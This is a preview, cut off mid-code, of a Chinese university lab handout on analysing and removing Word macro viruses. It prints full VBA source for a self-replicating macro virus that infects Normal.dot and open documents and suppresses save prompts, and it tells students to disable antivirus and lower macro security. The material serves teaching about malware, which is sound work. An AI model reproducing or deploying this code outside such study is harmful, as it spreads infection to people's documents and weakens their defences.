欢迎来到天天文库
浏览记录
ID:21660763
大小:65.50 KB
页数:12页
时间:2018-10-23
《实验七 计算机宏病毒分析及清除实验》由会员上传分享,免费在线阅读,更多相关内容在应用文档-天天文库。
1、实验七计算机宏病毒分析及清除实验一、实验目的n了解“宏病毒”机理;n掌握清除宏病毒的方法;n掌握采用“宏”和脚本语言进行编程的技术。二、实验时数:2小时三、实验环境nWindows2000/2003/XP或更高级别的Windows操作系统;nOfficeWord2000/2003等字处理软件。四、实验要求n演示宏的编写;n理解宏病毒的作用机制。五、实验步骤:1.软件设置关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选
2、择“信任visualbasic项目的访问”。注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。2.自我复制功能演示打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏”“VisualBasic宏编辑器”),在左侧的“project—>MicrosoftWord”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码
3、,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。完整代码如下:'Macro-1:Micro-VirusSubDocument_Open()OnErrorResumeNextApplication.DisplayStatusBar=Fal
4、seOptions.SaveNormalPrompt=FalseSetourcodemodule=ThisDocument.VBProject.VBComponents(1).CodeModuleSethost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSethost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIfWithhost
5、If.Lines(1,1)<>"'Micro-Virus"Then.DeleteLines1,.CountOfLines.InsertLines1,ourcodemodule.Lines(1,100).ReplaceLine2,"SubDocument_Close()"IfThisDocument=NormalTemplateThen.ReplaceLine2,"SubDocument_Open()"ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWit
6、hMsgBox"MicroVirusbyContentSecurityLab"EndSub以上代码的基本执行流程如下:1)进行必要的自我保护:Application.DisplayStatusBar=FalseOptions.SaveNormalPrompt=False高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。2)得到当前文档的代码对象和公
7、用模板的代码对象:Setourcodemodule=ThisDocument.VBProject.VBComponents(1).CodeModuleSethost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSethost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIf3)检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板
8、,并且修改函数名:WithHostIf.Lines(1.1)<>"'Micro-Virus"Then.DeleteLines1,.CountOfLines.InsertLines1,Ourcode.ReplaceLine2,"SubDocument_Close()"IfThisDocument=nomaltemplateThen.
此文档下载收益归作者所有